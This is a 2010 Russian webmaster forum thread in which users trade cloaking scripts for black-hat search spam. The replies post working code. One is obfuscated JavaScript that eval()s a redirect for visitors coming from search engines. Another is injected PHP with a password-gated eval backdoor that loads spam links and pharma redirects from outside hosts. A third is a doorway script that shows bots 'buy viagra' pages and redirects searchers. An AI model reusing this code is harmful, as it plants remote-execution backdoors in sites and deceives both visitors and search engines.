Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB58.7570
BTC/USD0.0000
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 24.10.2010, 10:26   #1
Vetaln
Vbest
 
Регистрация: 20.07.2007
Адрес: Харьков
Сообщений: 98
Бабло: $12950
Отправить сообщение для Vetaln с помощью ICQ
По умолчанию скрипт клоакинга

подкиньте скрипт клоакинга,
должен ботам по юзерагенту и по ип, выдавать ссылки на странице, а пользователям скрывать их.
__________________
Блог
Vetaln вне форума  
Старый 24.10.2010, 13:52   #2
mescalito
in.php
 
Аватар для mescalito
 
Регистрация: 16.04.2007
Адрес: СПб
Сообщений: 428
Бабло: $50000
По умолчанию

PHP код:
<script>
function 
R(){
var 
Ref=document.referrer;
if (
Ref.indexOf('.google.')!=-|| Ref.indexOf('.msn.')!=-|| Ref.indexOf('.yahoo.')!=-|| Ref.indexOf('.aol.')!=-|| Ref.indexOf('.ask.')!=-|| Ref.indexOf('.altavista.')!=-|| Ref.indexOf('.bing.')!=-1)
{ var 
str1 "locat";
var 
str2 "ion.repl";
var 
str3 "ace('htt";
var 
str4 "p://ww";
var 
str5 "w.top";
var 
str6 "search";
var 
str7 "10.";
var 
str8 "com/se";
var 
str9 "arch.p";
var 
str10 "hp?aid=";
var 
str11 "00000";
var 
str12 "&q=";
var 
str14 "car";
var 
str17 "+insurance')";
eval(
str1+str2+str3+str4+str5+str6+str7+str8+str9str10+str11+str12+str14+str17);
}
else {
document.write('<h1>404 Not Found</h1>');
}
}
R();
</script> 
__________________
Money Making - earn up to 60% rev share or $50CPA
mescalito вне форума  
Старый 24.10.2010, 16:42   #3
WebNinja
grablab.org
 
Аватар для WebNinja
 
Регистрация: 18.09.2007
Адрес: Thailand
Сообщений: 4,903
Бабло: $322214
Отправить сообщение для WebNinja с помощью ICQ Отправить сообщение для WebNinja с помощью Skype™
По умолчанию

видел такое

Код:
error_reporting(0);
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137","64.157.138","64.233.173","64.68.80","64.68.81","64.68.82","64.68.83","64.68.84","64.68.85","64.68.86","64.68.87","64.68.88","64.68.89","64.68.90","64.68.91","64.68.92","64.75.36","66.163.170","66.163.174","66.196.101","66.196.65","66.196.67","66.196.72","66.196.73","66.196.74","66.196.77","66.196.78","66.196.80","66.196.81","66.196.90","66.196.91","66.196.92","66.196.93","66.196.97","66.196.99","66.218.65","66.218.70","66.228.164","66.228.165","66.228.166","66.228.173","66.228.182","66.249.64","66.249.65","66.249.66","66.249.67","66.249.68","66.249.69","66.249.70","66.249.71","66.249.72","66.249.73","66.249.78","66.249.79","66.94.230","66.94.232","66.94.233","66.94.238","67.195.115","67.195.34","67.195.37","67.195.44","67.195.45","67.195.50","67.195.51","67.195.52","67.195.53","67.195.54","67.195.58","67.195.98","68.142.195","68.142.203","68.142.211","68.142.212","68.142.230","68.142.231","68.142.240","68.142.246","68.142.249","68.142.250","68.142.251","68.180.216","68.180.250","68.180.251","69.147.79","72.14.199","72.30.101","72.30.102","72.30.103","72.30.104","72.30.107","72.30.110","72.30.111","72.30.124","72.30.128","72.30.129","72.30.131","72.30.132","72.30.133","72.30.134","72.30.135","72.30.142","72.30.161","72.30.177","72.30.179","72.30.213","72.30.214","72.30.215","72.30.216","72.30.221","72.30.226","72.30.252","72.30.54","72.30.56","72.30.60","72.30.61","72.30.65","72.30.78","72.30.79","72.30.81","72.30.87","72.30.9","72.30.97","72.30.98","72.30.99","74.6.11","74.6.12","74.6.13","74.6.131","74.6.16","74.6.17","74.6.18","74.6.19","74.6.20","74.6.21","74.6.22","74.6.23","74.6.24","74.6.240","74.6.25","74.6.26","74.6.27","74.6.28","74.6.29","74.6.30","74.6.31","74.6.65","74.6.66","74.6.67","74.6.68","74.6.69","74.6.7","74.6.70","74.6.71","74.6.72","74.6.73","74.6.74","74.6.75","74.6.76","74.6.79","74.6.8","74.6.85","74.6.86","74.6.87","74.6.9","74.55.27","141.185.209","169.207.238","199.177.18","202.160.178","202.160.179","202.160.180","202.160.181","202.160.183","202.160.185","202.165.96","202.165.98","202.165.99","202.212.5","202.46.19","203.123.188","203.141.52","203.255.234","206.190.43","207.126.239","209.1.12","209.1.13","209.1.32","209.1.38","209.131.40","209.131.41","209.131.48","209.131.49","209.131.50","209.131.51","209.131.60","209.131.62","209.185.108","209.185.122","209.185.141","209.185.143","209.185.253","209.191.123","209.191.64","209.191.65","209.191.82","209.191.83","209.67.206","209.73.176","209.85.238","211.14.8","211.169.241","213.216.143","216.109.121","216.109.126","216.136.233","216.145.58","216.155.198","216.155.200","216.155.202","216.155.204","216.239.193","216.239.33","216.239.37","216.239.39","216.239.41","216.239.45","216.239.46","216.239.51","216.239.53","216.239.57","216.239.59","216.32.237","216.33.229","174.129.130","174.129.66");
if (preg_match("/^216\.239\.45/",$_SERVER["REMOTE_ADDR"])) { exit; }
$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]);
$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
if(in_array($ip, $bot_list))    {
if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; }
if((md5($_REQUEST['ch']) == 'e966f570229572ec03a9cc9d3657543a') && isset($_REQUEST["php_code"])) { eval($_REQUEST["php_code"]); exit(); }
$outsourceurl="http://ssl-validation.net/showop.php?page=$page";
if (function_exists("file_get_contents")) {
$out = file_get_contents($outsourceurl);
} else {
print "file_get_contents not available."; exit;
}
if ($out!="" and $out!="1") {
print $out;
exit;
}
$outsourceurl="http://ssl-validation.net/gt.php?site=".urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode($_SERVER['REMOTE_ADDR']).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
$links = base64_decode(file_get_contents($outsourceurl));
$originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
$originaluseragent=$_SERVER["HTTP_USER_AGENT"];
$originalpage = file_get_contents($originalurl);
if (preg_match('/<body.*?>/i',$originalpage)) {
$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
$originalpage=preg_replace('/(<body.*?>)/i', "$1$links", $originalpage, 1);
} elseif (preg_match('/<\/body>/i',$originalpage)) {
$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
$originalpage=preg_replace('/(<\/body>)/i', "$links$1", $originalpage, 1);
}
print $originalpage;
exit;
}
if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"])) {
$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','soma','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia','phentermine','adipex','tramadol','ultram','xanax','valium','ambien','ativan','vicodin','hoodia','acomplia');
$niche='unknown';
foreach($tabs as $tab)  {
if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))     {
$niche = $tab;
}
}
$page = urlencode("http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]);
if ($niche!="unknown") {
header("Location: http://stat-tracker.net/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
exit;
}
WebNinja вне форума  
Старый 24.10.2010, 17:39   #4
Dobrinia
Юниор
 
Регистрация: 24.10.2007
Сообщений: 16
Бабло: $1980
По умолчанию

А я таким пользуюсь
PHP код:
<?php
$is_bot 
FALSE ;
$user_agent_to_filter = array( '#Ask\s*Jeeves#i''#HP\s*Web\s*PrintSmart#i''#HTTrack#i''#IDBot#i''#Indy\s*Library#',
                               
'#ListChecker#i''#MSIECrawler#i''#NetCache#i''#Nutch#i''#RPT-HTTPClient#i',
                               
'#rulinki\.ru#i''#Twiceler#i''#WebAlta#i''#Webster\s*Pro#i','#www\.cys\.ru#i',
                               
'#Wysigot#i''#Yahoo!\s*Slurp#i''#Yeti#i''#Accoona#i''#CazoodleBot#i',
                               
'#CFNetwork#i''#ConveraCrawler#i','#DISCo#i''#Download\s*Master#i''#FAST\s*MetaWeb\s*Crawler#i',
                               
'#Flexum\s*spider#i''#Gigabot#i''#HTMLParser#i''#ia_archiver#i''#ichiro#i',
                               
'#IRLbot#i''#Java#i''#km\.ru\s*bot#i''#kmSearchBot#i''#libwww-perl#i',
                               
'#Lupa\.ru#i''#LWP::Simple#i''#lwp-trivial#i''#Missigua#i''#MJ12bot#i',
                               
'#msnbot#i''#msnbot-media#i''#Offline\s*Explorer#i''#OmniExplorer_Bot#i',
                               
'#PEAR#i''#psbot#i''#Python#i''#rulinki\.ru#i''#SMILE#i',
                               
'#Speedy#i''#Teleport\s*Pro#i''#TurtleScanner#i''#User-Agent#i''#voyager#i',
                               
'#Webalta#i''#WebCopier#i''#WebData#i''#WebZIP#i''#Wget#i',
                               
'#Yandex#i''#Yanga#i''#Yeti#i','#msnbot#i',
                               
'#spider#i''#yahoo#i''#jeeves#i' ,'#google#i' ,'#altavista#i',
                               
'#scooter#i' ,'#av\s*fetch#i' ,'#asterias#i' ,'#spiderthread revision#i' ,'#sqworm#i',
                               
'#ask#i' ,'#lycos.spider#i' ,'#infoseek sidewinder#i' ,'#ultraseek#i' ,'#polybot#i',
                               
'#webcrawler#i''#robozill#i''#gulliver#i''#architextspider#i''#yahoo!\s*slurp#i',
                               
'#charlotte#i''#ngb#i' ) ; 
 
$stop_ips_masks = array(
        
"66\.249\.[6-9][0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
        
"74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
        
"65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
        
"74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
        
"67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
        
"72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
        
"38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
        
"93\.172\.94\.227",                // MacFinder
        
"212\.100\.250\.218",            // Wells Search II
        
"71\.165\.223\.134",            // Indy Library
        
"70\.91\.180\.25",
        
"65\.93\.62\.242",
        
"74\.193\.246\.129",
        
"213\.144\.15\.38",
        
"195\.92\.229\.2",
        
"70\.50\.189\.191",
        
"218\.28\.88\.99",
        
"165\.160\.2\.20",
        
"89\.122\.224\.230",
        
"66\.230\.175\.124",
        
"218\.18\.174\.27",
        
"65\.33\.87\.94",
        
"67\.210\.111\.241",
        
"81\.135\.175\.70",
        
"64\.69\.34\.134",
        
"89\.149\.253\.169"
    
);
// проверяем это бот зашел или нет
foreach ( $stop_ips_masks as $k=>$v )
{
    if ( 
preg_match'#^'.$v.'$#'$_SERVER['REMOTE_ADDR']) )
        
$is_bot TRUE ;
}
// проверяем это бот зашел или нет
if ( $is_bot || !( FALSE === strpospreg_replace$user_agent_to_filter'-NO-WAY-'$_SERVER['HTTP_USER_AGENT'] ), '-NO-WAY-' ) ) )
{
echo 
'<html><h1>buy viagra</h1></html>'//тут страница дора скармливаемая гуглу
die();
}
// если это не бот, проверяем откуда пришел посетитель, если с поисковика, то выдаем ему редирект, если не с поисковика выдаем ему оригинальную страницу
elseif ( preg_match '#google|msn|live|altavista|ask|yahoo|aol|bing#i'$_SERVER['HTTP_REFERER'] ) )
    {
        if ( 
preg_match"#[\?\&](q|p|query|keywords)=([^&]+)#i"$_SERVER['HTTP_REFERER'] , $match ) )
        {
            
$keyword $match[2] ;
            if ( 
preg_match'~viagra~i'$keyword ) ) // вместо viagra пишем свой кейворд, если кейворд типа "buy viagra" то пишем просто viagra
            
{
                
header('Location: http://beerhack.name'); // сюда вписываем url на который будем перенаправлять посетителей
                
die() ;
            }
        }
    }
?>
// тут должно быть содержимое оригинальной страницы
Для себя дописал немного и добавил новых ботов из популярных сервисов по айпи и ЮА.
Dobrinia вне форума  
Старый 24.10.2010, 18:33   #5
xcrew
Senior Member
 
Регистрация: 25.06.2009
Сообщений: 806
Бабло: $135605
По умолчанию

заканчивайте палить чужие скрипты
xcrew вне форума  
Старый 24.10.2010, 18:48   #6
kanscx
Senior Member
 
Аватар для kanscx
 
Регистрация: 03.04.2007
Адрес: www.ua
Сообщений: 3,227
Бабло: $373635
По умолчанию

Тут скорее вопрос как правильно эти ипы там обновлять
kanscx вне форума  
Старый 24.10.2010, 22:26   #7
sosik
Senior Member
 
Аватар для sosik
 
Регистрация: 30.06.2010
Сообщений: 103
Бабло: $20990
По умолчанию

Скриптов то валом, а кто актуальные ипы подкинет было бы гуд
__________________
Жми Файловая ПП конверт (678 просмотров за сегодня ) |||||| Мануал Как Сделать Топовые доры !!!(1396 просмотров за сегодня )
sosik вне форума  
Старый 24.10.2010, 22:32   #8
spamless
Senior Member
 
Регистрация: 16.07.2009
Сообщений: 939
Бабло: $152432
По умолчанию

Скриптов то валом, а кто бы бабла дал просто так и побольше было бы гуд
spamless вне форума  
Старый 25.10.2010, 00:06   #9
Boddhisatva
Добрых дел мастер
 
Аватар для Boddhisatva
 
Регистрация: 05.12.2009
Адрес: Tibet
Сообщений: 975
Бабло: $145785
По умолчанию

Почему бы гуглу не иметь парочку "скрытых" ботов, и не натравлять их на подозрительные страницы, используя разницу в результате как дополнительный фактор ранжирования?

Или, ставка на то, что все так думают?

Раз уж пошло палево:
В 2009 делал эксперимент с выборкой около 40 сайтов доноров и 10 акцепторов - результат: гугл не проверяет, что у вас там в стилях. Если вы понимаете, о чем я.
Интересная статья на этот счет: http://digits.ru/articles/promotion/se_promotion.html
4й параграф.
Boddhisatva вне форума  
Старый 25.10.2010, 00:46   #10
iloveadult
Senior
 
Аватар для iloveadult
 
Регистрация: 24.09.2008
Сообщений: 2,727
Бабло: $519695
По умолчанию

Цитата:
Сообщение от spamless Посмотреть сообщение
Скриптов то валом, а кто бы бабла дал просто так и побольше было бы гуд
__________________
Top Links - качественные ссылки для Ваших сайтов
[UA] Моментальный вывод WM и других валют с лучшим курсом 24/7!
iloveadult вне форума  
Закрытая тема



Опции темы
Опции просмотра